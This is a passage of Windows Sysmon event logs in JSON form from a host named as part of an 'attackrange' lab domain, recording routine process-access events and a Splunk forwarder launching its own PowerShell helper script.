0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2087,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2088,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2089,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2090,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2091,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2092,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2093,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2094,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.643\r\nProcessGuid: {90617006-3FE9-5F2D-0000-0010245A0300}\r\nProcessId: 3652\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\powershell.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.643","ProcessGuid":"{90617006-3FE9-5F2D-0000-0010245A0300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\powershell.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT 